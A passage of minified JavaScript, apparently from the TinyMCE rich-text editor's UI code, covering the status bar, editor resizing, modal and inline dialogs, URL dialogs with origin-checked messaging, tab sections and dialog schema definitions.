t.dragger.handlers(t,n)}},extra:{snap:function(t){return{sensor:t.sensor,range:t.range,output:t.output,extra:vt.from(t.extra)}}},state:Object.freeze({__proto__:null,init:function(){var i=vt.none(),n=vt.none(),t=rt({});return wu({readState:t,reset:function(){i=vt.none(),n=vt.none()},update:function(r,t){return r.getData(t).bind(function(t){return n=r,e=t,o=i.map(function(t){return n.getDelta(t,e)}),i=vt.some(e),o;var n,e,o})},getStartData:function(){return n},setStartData:function(t){n=vt.some(t)}})}}),apis:QT});function cE(t,n,e){var o,r,i,u,a,c,s=At.fromDom(t.getContainer());J((o=t,r=n,i=e,u=wn(s),a=On(s),(c={}).height=t_(u+r.top,dh(o),gh(o)),i===HT.Both&&(c.width=t_(a+r.left,fh(o),mh(o))),c),function(t,n){return dn(s,n,ZO(t)),0}),t.fire("ResizeEditor")}function sE(t,n,e,o){return cE(t,ke(20*e,20*o),n),vt.some(!0)}function lE(t,n){var e,o,r,i,u,a,c,s,l,f,d,m,g,p,h,v;return{dom:{tag:"div",classes:["tox-statusbar"]},components:(v=[],t.getParam("elementpath",!0,"boolean")&&v.push((g=t,h=n,(p={}).delimiter||(p.delimiter="\xbb"),{dom:{tag:"div",classes:["tox-statusbar__path"],attributes:{role:"navigation"}},behaviours:nc([Fg.config({mode:"flow",selector:"div[role=button]"}),gd.config({disabled:h.isDisabled}),pv(),py.config({}),Rg.config({}),mm("elementPathEvents",[ou(function(r,t){g.shortcuts.add("alt+F11","focus statusbar elementpath",function(){return Fg.focusIn(r)}),g.on("NodeChange",function(t){var n,o,e=function(t){for(var n=[],e=t.length;0'+l+""}}),e=0=o.dom.offsetLeft+On(o)?Math.max(wn(o),u):u,c=parseInt(pn(n,"margin-top"),10)||0,s=parseInt(pn(n,"margin-bottom"),10)||0,i-(wn(n)+c+s-a)));var n,e,o,r,i,u,a,c,s}).each(function(t){hE(d,t)})})})}function bE(t){return Iu(t,'[role="tabpanel"]')}function yE(t,e){function o(t){var n=pE(Df.getValue(t)).getOr({}),e=i.get(),o=Yo(e,n);i.set(o)}function r(t){var n=i.get();Df.setValue(t,n)}var u,a,i=Po({}),c=Po(null),n=M(t.tabs,function(t){return{value:t.name,dom:{tag:"div",classes:["tox-dialog__body-nav-item"],innerHtml:e.shared.providers.translate(t.title)},view:function(){return[eS.sketch(function(n){return{dom:{tag:"div",classes:["tox-form"]},components:M(t.items,function(t){return hk(n,t,e)}),formBehaviours:nc([Fg.config({mode:"acyclic",useTabstopAt:O(p0)}),mm("TabView.form.events",[ou(r),ru(o)]),ic.config({channels:lr([{key:kB,value:{onReceive:o}},{key:CB,value:{onReceive:r}}])})])}})]}}}),s=(u=n,a=gc(),{extraEvents:[ou(function(t){var o=t.element;bE(o).each(function(n){var e;dn(n,"visibility","hidden"),t.getSystem().getByDom(n).toOptional().each(function(t){var o,r,i;Y(G((r=n,i=t,M(o=u,function(t,n){Rg.set(i,o[n].view());var e=r.dom.getBoundingClientRect();return Rg.set(i,[]),e.height})),function(t,n){return n"+n.translate(t)+"

    ")}]}]})}function OE(t){return JE.parts.footer({dom:{tag:"div",classes:["tox-dialog__footer"]},components:t})}function _E(t,n){return[ly.sketch({dom:{tag:"div",classes:["tox-dialog__footer-start"]},components:t}),ly.sketch({dom:{tag:"div",classes:["tox-dialog__footer-end"]},components:n})]}function TE(n){var t,e="tox-dialog",o=e+"-wrap",r=o+"__backdrop",i=e+"__disable-scroll";return JE.sketch({lazySink:n.lazySink,onEscape:function(t){return n.onEscape(t),vt.some(!0)},useTabstopAt:function(t){return!p0(t)},dom:{tag:"div",classes:[e].concat(n.extraClasses),styles:lt({position:"relative"},n.extraStyles)},components:H([n.header,n.body],n.footer.toArray(),!0),parts:{blocker:{dom:xC('
    '),components:[{dom:{tag:"div",classes:BB?[r,r+"--opaque"]:[r]}}]}},dragBlockClass:o,modalBehaviours:nc(H([Hg.config({}),mm("dialog-events",n.dialogEvents.concat([Br(bi(),function(t,n){Fg.focusIn(t)})])),mm("scroll-lock",[ou(function(){Yr(be(),i)}),ru(function(){qr(be(),i)})])],n.extraBehaviours,!0)),eventOrder:lt(((t={})[Ii()]=["dialog-events"],t[Gi()]=["scroll-lock","dialog-events","alloy.base.behaviour"],t[Xi()]=["alloy.base.behaviour","dialog-events","scroll-lock"],t),n.eventOrder)})}function EE(t){return fp.sketch({dom:{tag:"button",classes:["tox-button","tox-button--icon","tox-button--naked"],attributes:{type:"button","aria-label":t.translate("Close"),title:t.translate("Close")}},components:[Xm("close",{tag:"div",classes:["tox-icon"]},t.icons)],action:function(t){vr(t,wy)}})}function DE(t,n,e){function o(t){return[ri(e.translate(t.title))]}return{dom:{tag:"div",classes:["tox-dialog__title"],attributes:lt({},n.map(function(t){return{id:t}}).getOr({}))},components:o(t),behaviours:nc([k_.config({channel:_B,renderComponents:o})])}}function BE(){return{dom:xC('
    ')}}function ME(t,n){return e={title:n.shared.providers.translate(t),draggable:n.dialog.isDraggableModal()},o=n.shared.providers,r=JE.parts.title(DE(e,vt.none(),o)),i=JE.parts.draghandle(BE()),u=JE.parts.close(EE(o)),a=[r].concat(e.draggable?[i]:[]).concat([u]),ly.sketch({dom:xC('
    '),components:a});var e,o,r,i,u,a}function AE(t,n,e){return{dom:{tag:"div",classes:["tox-dialog__busy-spinner"],attributes:{"aria-label":e.translate(t)},styles:{left:"0px",right:"0px",bottom:"0px",top:"0px",position:"absolute"}},behaviours:n,components:[{dom:xC('
    ')}]}}function FE(t,o,n){return{onClose:function(){return n.closeWindow()},onBlock:function(e){JE.setBusy(t(),function(t,n){return AE(e.message,n,o)})},onUnblock:function(){JE.setIdle(t())}}}function IE(t,n,e,o){var r;return Tu(TE(lt(lt({},t),{lazySink:o.shared.getSink,extraBehaviours:H([k_.config({channel:OB,updateState:function(t,n){return vt.some(n)},initialData:n}),pS({})],t.extraBehaviours,!0),onEscape:function(t){vr(t,wy)},dialogEvents:e,eventOrder:((r={})[Fi()]=[k_.name(),ic.name()],r[Gi()]=["scroll-lock",k_.name(),"messages","dialog-events","alloy.base.behaviour"],r[Xi()]=["alloy.base.behaviour","dialog-events","messages",k_.name(),"scroll-lock"],r)})))}function RE(t){return M(t,function(t){return"menu"===t.type?(e=M((n=t).items,function(t){var n=Po(!1);return lt(lt({},t),{storage:n})}),lt(lt({},n),{items:e})):t;var n,e})}function VE(t){return R(t,function(t,n){return"menu"!==n.type?t:R(n.items,function(t,n){return t[n.name]=n.storage,t},t)},{})}function PE(t,e){return[Er(bi(),g0),t(xy,function(t,n){e.onClose(),n.onClose()}),t(wy,function(t,n,e,o){n.onCancel(t),vr(o,xy)}),Cr(Oy,function(t,n){return e.onUnblock()}),Cr(Cy,function(t,n){return e.onBlock(n.event)})]}function HE(t,n){function e(t,n){return ly.sketch({dom:{tag:"div",classes:["tox-dialog__footer-"+t]},components:M(n,function(t){return t.memento.asSpec()})})}var o=A(n.map(function(t){return t.footerButtons}).getOr([]),function(t){return"start"===t.align});return[e("start",o.pass),e("end",o.fail)]}function zE(t,e){return{dom:xC(''),components:[],behaviours:nc([k_.config({channel:EB,initialData:t,updateState:function(t,n){var r=M(n.buttons,function(t){var n=zm(Q0(t,t.type,e));return{name:t.name,align:t.align,memento:n}});return vt.some({lookupByName:function(t,n){return e=t,o=n,V(r,function(t){return t.name===o}).bind(function(t){return t.memento.getOpt(e)});var e,o},footerButtons:r})},renderComponents:HE})])}}function NE(t,n){return JE.parts.footer(zE(t,n))}function LE(n,e){if(n.getRoot().getSystem().isConnected()){var o=cd.getCurrent(n.getFormWrapper()).getOr(n.getFormWrapper());return eS.getField(o,e).fold(function(){var t=n.getFooter();return k_.getState(t).get().bind(function(t){return t.lookupByName(o,e)})},function(t){return vt.some(t)})}return vt.none()}function WE(c,o,s){function t(t){var n=c.getRoot();n.getSystem().isConnected()&&t(n)}var l={getData:function(){var t=c.getRoot(),n=t.getSystem().isConnected()?c.getFormWrapper():t,e=Df.getValue(n),o=dt(s,function(t){return t.get()});return lt(lt({},e),o)},setData:function(a){t(function(t){var n,e,o=l.getData(),r=lt(lt({},o),a),i=(n=r,e=c.getRoot(),k_.getState(e).get().map(function(t){return co(ao("data",t.dataValidator,n))}).getOr(n)),u=c.getFormWrapper();Df.setValue(u,i),J(s,function(t,n){Tt(r,n)&&t.set(r[n])})})},disable:function(t){LE(c,t).each(gd.disable)},enable:function(t){LE(c,t).each(gd.enable)},focus:function(t){LE(c,t).each(Hg.focus)},block:function(n){if(!y(n))throw new Error("The dialogInstanceAPI.block function should be passed a blocking message of type string as an argument");t(function(t){br(t,Cy,{message:n})})},unblock:function(){t(function(t){vr(t,Oy)})},showTab:function(e){t(function(t){var n=c.getBody();k_.getState(n).get().exists(function(t){return t.isTabPanel()})&&cd.getCurrent(n).each(function(t){SB.showTab(t,e)})})},redial:function(e){t(function(t){var n=o(e);t.getSystem().broadcastOn([OB],n),t.getSystem().broadcastOn([_B],n.internalDialog),t.getSystem().broadcastOn([TB],n.internalDialog),t.getSystem().broadcastOn([EB],n.internalDialog),l.setData(n.initialData)})},close:function(){t(function(t){vr(t,xy)})}};return l}function UE(t){return x(t)&&-1!==RB.indexOf(t.mceAction)}function jE(o,t,r,n){var e,i,u,a=ME(o.title,n),c=(i={dom:{tag:"div",classes:["tox-dialog__content-js"]},components:[{dom:{tag:"div",classes:["tox-dialog__body-iframe"]},components:[d0({dom:{tag:"iframe",attributes:{src:o.url}},behaviours:nc([py.config({}),Hg.config({})])})]}],behaviours:nc([Fg.config({mode:"acyclic",useTabstopAt:O(p0)})])},JE.parts.body(i)),s=o.buttons.bind(function(t){return 0===t.length?vt.none():vt.some(NE({buttons:t},n))}),l=MB(function(){return v},FE(function(){return h},n.shared.providers,t)),f=lt(lt({},o.height.fold(function(){return{}},function(t){return{height:t+"px","max-height":t+"px"}})),o.width.fold(function(){return{}},function(t){return{width:t+"px","max-width":t+"px"}})),d=o.width.isNone()&&o.height.isNone()?["tox-dialog--width-lg"]:[],m=new IB(o.url,{base_uri:new IB(window.location.href)}),g=m.protocol+"://"+m.host+(m.port?":"+m.port:""),p=mc(),h=IE({header:a,body:c,footer:s,extraClasses:d,extraBehaviours:[mm("messages",[ou(function(){var t=pc(At.fromDom(window),"message",function(t){var n,e;m.isSameOrigin(new IB(t.raw.origin))&&(UE(n=t.raw.data)?function(t,n,e){switch(e.mceAction){case"insertContent":t.insertContent(e.content);break;case"setContent":t.setContent(e.content);break;case"execCommand":var o=!!w(e.ui)&&e.ui;t.execCommand(e.cmd,o,e.value);break;case"close":n.close();break;case"block":n.block(e.message);break;case"unblock":n.unblock()}}(r,v,n):!UE(e=n)&&x(e)&&Tt(e,"mceAction")&&o.onMessage(v,n))});p.set(t)}),ru(p.clear)]),ic.config({channels:((e={})[DB]={onReceive:function(t,n){Iu(t.element,"iframe").each(function(t){t.dom.contentWindow.postMessage(n,g)})}},e)})],extraStyles:f},o,l,n),v={block:function(n){if(!y(n))throw new Error("The urlDialogInstanceAPI.block function should be passed a blocking message of type string as an argument");b(function(t){br(t,Cy,{message:n})})},unblock:function(){b(function(t){vr(t,Oy)})},close:function(){b(function(t){vr(t,xy)})},sendMessage:function(n){b(function(t){t.getSystem().broadcastOn([DB],n)})}};function b(t){u.getSystem().isConnected()&&t(u)}return{dialog:u=h,instanceApi:v}}function GE(t){function o(t,y){return gB.open(function(t,n,e){var o,r,i,u,a,c,s,l,f,d,m,g,p,h,v=n,b=(r={redial:gB.redial,closeWindow:function(){JE.hide(b.dialog),y(b.instanceApi)}},i=R,c=ME((o={dataValidator:e,initialData:v,internalDialog:t}).internalDialog.title,i),u=i,a=xE({body:o.internalDialog.body},vt.none(),u,!1),s=JE.parts.body(a),l=RE(o.internalDialog.buttons),f=VE(l),d=NE({buttons:l},i),m=AB(function(){return h},FE(function(){return p},i.shared.providers,r),i.shared.getSink),g=function(){switch(o.internalDialog.size){case"large":return["tox-dialog--width-lg"];case"medium":return["tox-dialog--width-md"];default:return[]}}(),p=IE({header:c,body:s,footer:vt.some(d),extraClasses:g,extraBehaviours:[],extraStyles:{}},o,m,i),h=WE({getRoot:rt(p),getBody:function(){return JE.getBody(p)},getFooter:function(){return JE.getFooter(p)},getFormWrapper:function(){var t=JE.getBody(p);return cd.getCurrent(t).getOr(t)}},r.redial,f),{dialog:p,instanceApi:h});return JE.show(b.dialog),b.instanceApi.setData(v),b.instanceApi},t)}function r(t,A,F,I){return gB.open(function(t,n,e){function o(){return E.on(function(t){up.reposition(t),U1.refresh(t)})}var r,i,u,a,c,s,l,f,d,m,g,p,h,v,b,y,x,w,S,k,C,O,_,T=co(ao("data",e,n)),E=gc(),D=R.shared.header.isPositionedAtTop(),B=(i={dataValidator:e,initialData:T,internalDialog:t},u={redial:gB.redial,closeWindow:function(){E.on(up.hide),V.off("ResizeEditor",o),E.clear(),F(B.instanceApi)}},a=R,c=I,v=Ir("dialog-label"),b=Ir("dialog-content"),y=zm((f={title:i.internalDialog.title,draggable:!0},d=v,m=a.shared.providers,ly.sketch({dom:xC('
    '),components:[DE(f,vt.some(d),m),BE(),EE(m)],containerBehaviours:nc([aE.config({mode:"mouse",blockerClass:"blocker",getTarget:function(t){return Ru(t,'[role="dialog"]').getOrDie()},snaps:{getSnapPoints:function(){return[]},leftAttr:"data-drag-left",topAttr:"data-drag-top"}})])}))),x=zm((g={body:i.internalDialog.body},p=a,h=c,xE(g,vt.some(b),p,h))),w=RE(i.internalDialog.buttons),S=VE(w),k=zm(FB({buttons:w},a)),C=AB(function(){return _},{onBlock:function(e){fO.block(O,function(t,n){return AE(e.message,n,a.shared.providers)})},onUnblock:function(){fO.unblock(O)},onClose:function(){return u.closeWindow()}},a.shared.getSink),O=Tu({dom:{tag:"div",classes:["tox-dialog","tox-dialog-inline"],attributes:((s={role:"dialog"})["aria-labelledby"]=v,s["aria-describedby"]=b,s)},eventOrder:((l={})[Fi()]=[k_.name(),ic.name()],l[Ii()]=["execute-on-form"],l[Gi()]=["reflecting","execute-on-form"],l),behaviours:nc([Fg.config({mode:"cyclic",onEscape:function(t){return vr(t,xy),vt.some(!0)},useTabstopAt:function(t){return!p0(t)&&("button"!==Ft(t)||"disabled"!==un(t,"disabled"))}}),k_.config({channel:OB,updateState:function(t,n){return vt.some(n)},initialData:i}),Hg.config({}),mm("execute-on-form",C.concat([Br(bi(),function(t,n){Fg.focusIn(t)})])),fO.config({getRoot:function(){return vt.some(O)}}),Rg.config({}),pS({})]),components:[y.asSpec(),x.asSpec(),k.asSpec()]}),_=WE({getRoot:rt(O),getFooter:function(){return k.get(O)},getBody:function(){return x.get(O)},getFormWrapper:function(){var t=x.get(O);return cd.getCurrent(t).getOr(t)}},u.redial,S),{dialog:O,instanceApi:_}),M=Tu(up.sketch(lt(lt({lazySink:R.shared.getSink,dom:{tag:"div",classes:[]},fireDismissalEventInstead:{}},D?{}:{fireRepositionEventInstead:{}}),{inlineBehaviours:nc(H([mm("window-manager-inline-events",[Cr(Yi(),function(t,n){vr(B.dialog,wy)})])],(r=V,P&&D?[]:[U1.config({contextual:{lazyContext:function(){return vt.some(Ae(At.fromDom(r.getContentAreaContainer())))},fadeInClass:"tox-dialog-dock-fadein",fadeOutClass:"tox-dialog-dock-fadeout",transitionClass:"tox-dialog-dock-transition"},modes:["top"]})]),!0)),isExtraPart:function(t,n){return Yb(e=n,".tox-alert-dialog")||Yb(e,".tox-confirm-dialog");var e}})));return E.set(M),up.showWithin(M,Eu(B.dialog),{anchor:A},vt.some(be())),P&&D||(U1.refresh(M),V.on("ResizeEditor",o)),B.instanceApi.setData(T),Fg.focusIn(B.dialog),B.instanceApi},t)}var c,s,l,f,R=t.backstage,V=t.editor,P=dv(V),e=(s=(c=t).backstage.shared,{open:function(t,n){function e(){JE.hide(u),n()}var o=zm(Q0({name:"close-alert",text:"OK",primary:!0,align:"end",disabled:!1,icon:vt.none()},"cancel",c.backstage)),r=kE(),i=SE(e,s.providers),u=Tu(TE({lazySink:function(){return s.getSink()},header:wE(r,i),body:CE(t,s.providers),footer:vt.some(OE(_E([],[o.asSpec()]))),onEscape:e,extraClasses:["tox-alert-dialog"],extraBehaviours:[],extraStyles:{},dialogEvents:[Cr(wy,e)],eventOrder:{}}));JE.show(u);var a=o.get(u);Hg.focus(a)}}),i=(f=(l=t).backstage.shared,{open:function(t,n){function e(t){JE.hide(a),n(t)}var o=zm(Q0({name:"yes",text:"Yes",primary:!0,align:"end",disabled:!1,icon:vt.none()},"submit",l.backstage)),r=Q0({name:"no",text:"No",primary:!1,align:"end",disabled:!1,icon:vt.none()},"cancel",l.backstage),i=kE(),u=SE(function(){return e(!1)},f.providers),a=Tu(TE({lazySink:function(){return f.getSink()},header:wE(i,u),body:CE(t,f.providers),footer:vt.some(OE(_E([],[r,o.asSpec()]))),onEscape:function(){return e(!1)},extraClasses:["tox-confirm-dialog"],extraBehaviours:[],extraStyles:{},dialogEvents:[Cr(wy,function(){return e(!1)}),Cr(ky,function(){return e(!0)})],eventOrder:{}}));JE.show(a);var c=o.get(a);Hg.focus(c)}});return{open:function(t,n,e){return void 0!==n&&"toolbar"===n.inline?r(t,R.shared.anchors.inlineDialog(),e,n.ariaAttrs):void 0!==n&&"cursor"===n.inline?r(t,R.shared.anchors.cursor(),e,n.ariaAttrs):o(t,e)},openUrl:function(t,n){return e=n,gB.openUrl(function(t){var n=jE(t,{closeWindow:function(){JE.hide(n.dialog),e(n.instanceApi)}},V,R);return JE.show(n.dialog),n.instanceApi},t);var e},alert:function(t,n){e.open(t,function(){n()})},close:function(t){t.close()},confirm:function(t,n){i.open(t,function(t){n(t)})}}}(zT=HT=HT||{})[zT.None=0]="None",zT[zT.Both=1]="Both",zT[zT.Vertical=2]="Vertical";var XE,YE=rt([mo("lazySink"),wo("dragBlockClass"),Io("getBounds",Fe),Eo("useTabstopAt",D),Eo("eventOrder",{}),Zs("modalBehaviours",[Fg]),$u("onExecute"),Zu("onEscape")]),qE={sketch:h},KE=rt([Qf({name:"draghandle",overrides:function(t,n){return{behaviours:nc([aE.config({mode:"mouse",getTarget:function(t){return Fu(t,'[role="dialog"]').getOr(t)},blockerClass:t.dragBlockClass.getOrDie(new Error("The drag blocker class was not specified for a dialog with a drag handle: \n"+JSON.stringify(n,null,2)).message),getBounds:t.getDragBounds})])}}}),Jf({schema:[mo("dom")],name:"title"}),Jf({factory:qE,schema:[mo("dom")],name:"close"}),Jf({factory:qE,schema:[mo("dom")],name:"body"}),Qf({factory:qE,schema:[mo("dom")],name:"footer"}),$f({factory:{sketch:function(t,n){return lt(lt({},t),{dom:n.dom,components:n.components})}},schema:[Eo("dom",{tag:"div",styles:{position:"fixed",left:"0px",top:"0px",right:"0px",bottom:"0px"}}),Eo("components",[])],name:"blocker"})]),JE=Cl({name:"ModalDialog",configFields:YE(),partFields:KE(),factory:function(a,t,n,r){var e,i=gc(),o=Ir("modal-events"),u=lt(lt({},a.eventOrder),((e={})[Gi()]=[o].concat(a.eventOrder["alloy.system.attached"]||[]),e));return{uid:a.uid,dom:a.dom,components:t,apis:{show:function(t){i.set(t);var n=a.lazySink(t).getOrDie(),e=r.blocker(),o=n.getSystem().build(lt(lt({},e),{components:e.components.concat([Eu(t)]),behaviours:nc([Hg.config({}),mm("dialog-blocker-events",[Br(bi(),function(){Fg.focusIn(t)})])])}));Vs(n,o),Fg.focusIn(t)},hide:function(n){i.clear(),Yt(n.element).each(function(t){n.getSystem().getByDom(t).each(function(t){Hs(t)})})},getBody:function(t){return gl(t,a,"body")},getFooter:function(t){return gl(t,a,"footer")},setIdle:function(t){fO.unblock(t)},setBusy:function(t,n){fO.block(t,n)}},eventOrder:u,domModification:{attributes:{role:"dialog","aria-modal":"true"}},behaviours:nl(a.modalBehaviours,[Rg.config({}),Fg.config({mode:"cyclic",onEnter:a.onExecute,onEscape:a.onEscape,useTabstopAt:a.useTabstopAt}),fO.config({getRoot:i.get}),mm(o,[ou(function(t){var n,e,o,r=t.element,i=gl(t,a,"title").element,u=an(r,"id").fold(function(){var t=Ir("dialog-label");return on(i,"id",t),t},h);on(r,"aria-labelledby",u),n=t.element,e=gl(t,a,"body").element,o=vt.from(un(n,"id")).fold(function(){var t=Ir("dialog-describe");return on(e,"id",t),t},h),on(n,"aria-describedby",o)})])])}},apis:{show:function(t,n){t.show(n)},hide:function(t,n){t.hide(n)},getBody:function(t,n){return t.getBody(n)},getFooter:function(t,n){return t.getFooter(n)},setBusy:function(t,n,e){t.setBusy(n,e)},setIdle:function(t,n){t.setIdle(n)}}}),$E=$o([po("type"),po("name")].concat(Lh)),QE=er,ZE=[ar("name","name",je(function(){return Ir("button-name")}),nr),Co("icon"),Ao("align","end",["start","end"]),Fo("primary",!1),Fo("disabled",!1)],tD=H(H([],ZE,!0),[po("text")],!1),nD=H([ho("type",["submit","cancel","custom"])],tD,!0),eD=lo("type",{submit:nD,cancel:nD,custom:nD,menu:H([ho("type",["menu"]),Co("text"),Co("tooltip"),Co("icon"),xo("items",$E)],ZE,!0)}),oD=[po("type"),po("text"),ho("level",["info","warn","error","success"]),po("icon"),Eo("url","")],rD=$o(oD),iD=[po("type"),po("text"),Fo("disabled",!1),Fo("primary",!1),ar("name","name",je(function(){return Ir("button-name")}),nr),Co("icon"),Fo("borderless",!1)],uD=$o(iD),aD=[po("type"),po("name"),po("label"),Fo("disabled",!1)],cD=$o(aD),sD=er,lD=[po("type"),po("name")],fD=lD.concat([Co("label")]),dD=fD.concat([Eo("columns","auto")]),mD=$o(dD),gD=Qo([po("value"),po("text"),po("icon")]),pD=$o(fD),hD=nr,vD=$o(fD),bD=nr,yD=lD.concat([Mo("tag","textarea"),po("scriptId"),po("scriptUrl"),Do("settings",void 0,ir)]),xD=lD.concat([Mo("tag","textarea"),vo("init")]),wD=io(function(t){return ao("customeditor.old",to(xD),t).orThunk(function(){return ao("customeditor.new",to(yD),t)})}),SD=nr,kD=$o(fD),CD=no(Jo),OD=[po("type"),po("html"),Ao("presets","presentation",["presentation","document"])],_D=$o(OD),TD=fD.concat([Fo("sandboxed",!0)]),ED=$o(TD),DD=nr,BD=fD.concat([go("currentState",$o([mo("blob"),po("url")]))]),MD=$o(BD),AD=fD.concat([Co("inputMode"),Co("placeholder"),Fo("maximized",!1),Fo("disabled",!1)]),FD=$o(AD),ID=nr,RD=[po("text"),po("value")],VD=[po("text"),xo("items",(XE=Rt(function(){return PD}),{extract:function(t,n){return XE().extract(t,n)},toString:function(){return XE().toString()}}))],PD=eo([$o(RD),$o(VD)]),HD=fD.concat([xo("items",PD),Fo("disabled",!1)]),zD=$o(HD),ND=nr,LD=fD.concat([yo("items",[po("text"),po("value")]),Bo("size",1),Fo("disabled",!1)]),WD=$o(LD),UD=nr,jD=fD.concat([Fo("constrain",!0),Fo("disabled",!1)]),GD=$o(jD),XD=$o([po("width"),po("height")]),YD=[po("type"),xo("header",nr),xo("cells",no(nr))],qD=$o(YD),KD=fD.concat([Co("placeholder"),Fo("maximized",!1),Fo("disabled",!1)]),JD=$o(KD),$D=nr,QD=fD.concat([Ao("filetype","file",["image","media","file"]),Eo("disabled",!1)]),ZD=$o(QD),tB=$o([po("value"),Eo("meta",{})]),nB=Ze(function(){return ro("type",{alertbanner:rD,bar:$o((e=dE("bar"),[po("type"),e])),button:uD,checkbox:cD,colorinput:pD,colorpicker:vD,dropzone:kD,grid:$o((t=dE("grid"),[po("type"),go("columns",tr),t])),iframe:ED,input:FD,listbox:zD,selectbox:WD,sizeinput:GD,textarea:JD,urlinput:ZD,customeditor:wD,htmlpanel:_D,imagetools:MD,collection:mD,label:$o((n=dE("label"),[po("type"),po("label"),n])),table:qD,panel:oB});var t,n,e}),eB=[po("type"),Eo("classes",[]),xo("items",nB)],oB=$o(eB),rB=[ar("name","name",je(function(){return Ir("tab-name")}),nr),po("title"),xo("items",nB)],iB=[po("type"),yo("tabs",rB)],uB=$o(iB),aB=tD,cB=eD,sB=$o([po("title"),go("body",ro("type",{panel:oB,tabpanel:uB})),Mo("size","normal"),xo("buttons",cB),Eo("initialData",{}),Io("onAction",st),Io("onChange",st),Io("onSubmit",st),Io("onClose",st),Io("onCancel",st),Eo("onTabChange",st)]),lB=$o(H([ho("type",["cancel","custom"])],aB,!0)),fB=$o([po("title"),po("url"),ko("height"),ko("width"),_o("buttons",lB),Io("onAction",st),Io("onCancel",st),Io("onClose",st),Io("onMessage",st)]),dB=function(t){return x(t)?[t].concat(z(Z(t),dB)):c(t)?z(t,dB):[]},mB={checkbox:sD,colorinput:hD,colorpicker:bD,dropzone:CD,input:ID,iframe:DD,sizeinput:XD,selectbox:UD,listbox:ND,size:XD,textarea:$D,urlinput:tB,customeditor:SD,collection:gD,togglemenuitem:QE},gB={open:function(t,n){var e=gE(n);return t(e.internalDialog,e.initialData,e.dataValidator)},openUrl:function(t,n){return t(co(ao("dialog",fB,n)))},redial:gE},pB=kl({name:"TabButton",configFields:[Eo("uid",void 0),mo("value"),ar("dom","dom",Ye(function(){return{attributes:{role:"tab",id:Ir("aria"),"aria-selected":"false"}}}),Zo()),wo("action"),Eo("domModification",{}),Zs("tabButtonBehaviours",[Hg,Fg,Df]),mo("view")],factory:function(t,n){return{uid:t.uid,dom:t.dom,components:t.components,events:Sm(t.action),behaviours:nl(t.tabButtonBehaviours,[Hg.config({}),Fg.config({mode:"execution",useSpace:!0,useEnter:!0}),Df.config({store:{mode:"memory",initialValue:t.value}})]),domModification:t.domModification}}}),hB=rt([mo("tabs"),mo("dom"),Eo("clickToDismiss",!1),Zs("tabbarBehaviours",[hd,Fg]),qu(["tabClass","selectedClass"])]),vB=rt([Zf({factory:pB,name:"tabs",unit:"tab",overrides:function(o){return{action:function(t){var n=t.getSystem().getByUid(o.uid).getOrDie(),e=hd.isHighlighted(n,t);(e&&o.clickToDismiss?function(t,n){hd.dehighlight(t,n),br(t,Qi(),{tabbar:t,button:n})}:e?st:function(t,n){hd.highlight(t,n),br(t,$i(),{tabbar:t,button:n})})(n,t)},domModification:{classes:[o.markers.tabClass]}}}})]),bB=Cl({name:"Tabbar",configFields:hB(),partFields:vB(),factory:function(t,n,e,o){return{uid:t.uid,dom:t.dom,components:n,"debug.sketcher":"Tabbar",domModification:{attributes:{role:"tablist"}},behaviours:nl(t.tabbarBehaviours,[hd.config({highlightClass:t.markers.selectedClass,itemClass:t.markers.tabClass,onHighlight:function(t,n){on(n.element,"aria-selected","true")},onDehighlight:function(t,n){on(n.element,"aria-selected","false")}}),Fg.config({mode:"flow",getInitial:function(t){return hd.getHighlighted(t).map(function(t){return t.element})},selector:"."+t.markers.tabClass,executeOnMove:!0})])}}}),yB=kl({name:"Tabview",configFields:[Zs("tabviewBehaviours",[Rg])],factory:function(t,n){return{uid:t.uid,dom:t.dom,behaviours:nl(t.tabviewBehaviours,[Rg.config({})]),domModification:{attributes:{role:"tabpanel"}}}}}),xB=rt([Eo("selectFirst",!0),Ju("onChangeTab"),Ju("onDismissTab"),Eo("tabs",[]),Zs("tabSectionBehaviours",[])]),wB=rt([Jf({factory:bB,schema:[mo("dom"),bo("markers",[mo("tabClass"),mo("selectedClass")])],name:"tabbar",defaults:function(t){return{tabs:t.tabs}}}),Jf({factory:yB,name:"tabview"})]),SB=Cl({name:"TabSection",configFields:xB(),partFields:wB(),factory:function(i,t,n,e){function o(t,n){ml(t,i,"tabbar").each(function(t){n(t).each(yr)})}return{uid:i.uid,dom:i.dom,components:t,behaviours:tl(i.tabSectionBehaviours),events:eu(ft([i.selectFirst?[ou(function(t,n){o(t,hd.getFirst)})]:[],[Cr($i(),function(t,n){var o=n.event.button,r=Df.getValue(o);ml(o,i,"tabview").each(function(e){V(i.tabs,function(t){return t.value===r}).each(function(t){var n=t.view();an(o.element,"id").each(function(t){on(e.element,"aria-labelledby",t)}),Rg.set(e,n),i.onChangeTab(e,o,n)})})}),Cr(Qi(),function(t,n){var e=n.event.button;i.onDismissTab(t,e)})]])),apis:{getViewItems:function(t){return ml(t,i,"tabview").map(function(t){return Rg.contents(t)}).getOr([])},showTab:function(t,e){o(t,function(n){return V(hd.getCandidates(n),function(t){return Df.getValue(t)===e}).filter(function(t){return!hd.isHighlighted(n,t)})})}}}},apis:{getViewItems:function(t,n){return t.getViewItems(n)},showTab:function(t,n,e){t.showTab(n,e)}}}),kB="send-data-to-section",CB="send-data-to-view",OB=Ir("update-dialog"),_B=Ir("update-title"),TB=Ir("update-body"),EB=Ir("update-footer"),DB=Ir("body-send-message"),BB=nb.deviceType.isTouch(),MB=function(u,t){function n(t,i){return Cr(t,function(e,o){var n,r;n=e,r=function(t,n){i(u(),t,o.event,e)},k_.getState(n).get().each(function(t){r(t,n)})})}return H(H([],PE(n,t),!0),[n(Sy,function(t,n,e){n.onAction(t,{name:e.name})})],!1)},AB=function(u,t,c){function n(t,i){return Cr(t,function(e,o){var n,r;n=e,r=function(t,n){i(u(),t,o.event,e)},k_.getState(n).get().each(function(t){r(t.internalDialog,n)})})}return H(H([],PE(n,t),!0),[n(ky,function(t,n){return n.onSubmit(t)}),n(yy,function(t,n,e){n.onChange(t,{name:e.name})}),n(Sy,function(t,n,e,o){function r(){return Fg.focusIn(o)}function i(t){return cn(t,"disabled")||an(t,"aria-disabled").exists(function(t){return"true"===t})}var u=ge(o.element),a=Oa(u);n.onAction(t,{name:e.name,value:e.value}),Oa(u).fold(r,function(n){i(n)||a.exists(function(t){return Wt(n,t)&&i(t)})?r():c().toOptional().filter(function(t){return!Wt(t.element,n)}).each(r)})}),n(_y,function(t,n,e){n.onTabChange(t,{newTabName:e.name,oldTabName:e.oldName})}),ru(function(t){var 